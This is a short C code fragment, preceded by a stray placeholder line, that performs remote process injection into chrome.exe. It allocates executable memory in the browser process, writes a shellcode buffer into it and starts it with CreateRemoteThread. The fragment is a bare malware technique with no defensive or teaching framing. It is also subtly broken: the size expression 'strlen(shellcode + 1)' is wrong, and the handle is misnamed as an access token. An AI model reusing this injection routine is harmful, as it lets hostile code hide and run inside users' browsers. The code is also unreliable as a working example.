[email protected]
HANDLE access_token = get_process_handle(L"chrome.exe");
LPVOID mem = VirtualAllocEx(
access_token,
NULL,
strlen(shellcode + 1),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(
access_token,
mem,
shellcode,
strlen(shellcode + 1),
NULL
);
CreateRemoteThread(
access_token, NULL, 0,
(LPTHREAD_START_ROUTINE)mem,
0, 0, NULL
);